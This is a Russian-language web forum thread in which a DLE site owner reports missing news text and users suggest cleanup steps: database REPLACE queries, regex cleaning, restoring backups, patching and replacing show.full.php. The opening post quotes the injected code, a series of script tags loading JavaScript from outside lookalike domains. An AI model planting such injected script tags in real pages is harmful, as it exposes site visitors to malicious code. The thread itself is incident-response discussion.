Форум Сайтостроение Веб-строительство

DLE: Пропал текст полных новостей

D
На сайте с 16.08.2009
Offline
44
didexit
2313

Некоторое время назад на сайте, работающем на DLE, почти во всх новостях пропал текст полной новости... При редактировании новости,в редакторе помимо текста самой новости оторбржается код

<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/1059b38eadd0629e853328974d8b1e85.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/2f3373f1c36f62de514b0873805f13ce.js" type="text/javascript"></script><script src="http://you-stupped-lox.ucoz.ru/engine.js" type="text/javascript"></script><script src="" type="text/javascript"></script><script src="http://goooogle.ipq.co/259436216a6a6f7e89859e0f404fe586.js" type="text/javascript"></script><script src="http://googlle.ipq.co/ae98e66e61d7067b0e2b3cdd12596a2e.js" type="text/javascript"></script><script src="http://googlle.ce.ms/3f6842e217c3778f22c6c8958d08fb8f.js" type="text/javascript"></script><script src="http://goooglle.org/a058b96ad31faa0acdbf23bee7927a1d.js" type="text/javascript"></script><script src="http://goooglle.org/f2159647275e2e20257251052b051a22.js" type="text/javascript"></script><script src="http://goooglle.org/9095896723f08945d9312fd7be37fc42.js" type="text/javascript"></script><script src="http://goooglle.org/c027774483fedc0d4ebb1ec80ced50c2.js" type="text/javascript"></script>

Подскажите, пожалуйста как решить проблему? В каждой новости удалять вышеуказанный код вируса? как он мог туда попасть?

Sapravka
На сайте с 12.03.2009
Offline
89
Sapravka
#1

Есть несколько путей, как удалить данный бред с сайта:

1. Теоретически, в движке, когда вы откроете все разделы то можете найти в разделе утилиты меню "Поиск и замена" и с помощью данного меню попробовать совершить быструю замену текста в базе данных скрипта. Только вот беда, не всегда он почему-то работает....

Тогда переходим ко второму варианту (открываем вашу базу данных в mysqladmin):

2. Есть замечательная команда REPLACE, с помощью которой можно совершить любые изменения в базе данных.

Так как полная новость расположена в таблице dle_post, а имя поля full_story, то можно составить следующий запрос, например:

UPDATE dle_post SET full_story = REPLACE(full_story, 'СЮДА ПРОПИСЫВАЕТЕ, ТО ЧТО ЖЕЛАЕТЕ УДАЛИТЬ', '');

Не забывайте, конечно, перед применением данных запросов сделать резервное сохранение...

Что же касается того, как к вам попала данная белиберда, то неплохо бы просматривать оф. сайт на наличие различных уязвимостей, например тут:

http://dle-news.ru/bags/

И наконец самый лучший вариант - это 3:

3. Полностью восстановить сайт из ежедневной резервной копии - так как я понял с этим беда не только у вас, а у многих...

Разделить все по справедливости невозможно, потому что справедливости много, а всего - мало...
Утилита Semonitor и поисковая 57% сайтов на WordPress Плюсы и минусы GA4:
A
На сайте с 03.06.2009
Offline
86
akshonin
#2

REPLACE не подойдёт, т.к. текст динамический. Я чтобы убрать нашёл текстовый редактор с поддержкой регулярных выражение PSPad и им вычистил дамп базы, а после залил его обратно.

В продолжении темы... Как в базу тексты заливают ??? мои сайте за последние 10 дней 4 раза ломали!

myTarget предоставит бонус в В Google Sites теперь Сервис VK Работа открыл
Sapravka
На сайте с 12.03.2009
Offline
89
Sapravka
#3
akshonin:
мои сайте за последние 10 дней 4 раза ломали!

Может для начала закрыть известные уязвимости на вашем сайте:

http://dle-news.ru/bags/

Пробовали?

BadBoy
На сайте с 31.01.2005
Offline
308
BadBoy
#4

замени файл /modules/show.full.php на новый из архива...

возможно поможет

Sapravka:
с этим беда не только у вас, а у многих

+1

K
На сайте с 24.02.2010
Offline
61
kumix
#5

Проверьте сам файл show.full.php, в нулленых версиях там вписан код, который все это выводит, надо почистить и перезалить

maxwell
На сайте с 29.04.2009
Offline
149
maxwell
#6

У меня тоже сайт поломали: DLE 8.2 nulled. Статей очень много, поэтому написал такой скриптик, который решил проблему: скрипт.

Только сначала сделайте себе копию dle_post, и с ней работайте. Если все нормально, потом замените зараженную.

И не забываем поставить заплатку.

maxwell добавил 04.02.2011 в 08:50

Ну вот и счастье привалило (Я.Вебмастер):

Последняя проверка сайта 4 Февраля 2011 не выявила страниц, содержащих вредоносный код. В результатах поиска сайт выводится без пометок.
CyberMarketing 2012: ссылочные стратегии, Яндекс об уязвимостях наиболее Google по-прежнему использует исходные

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий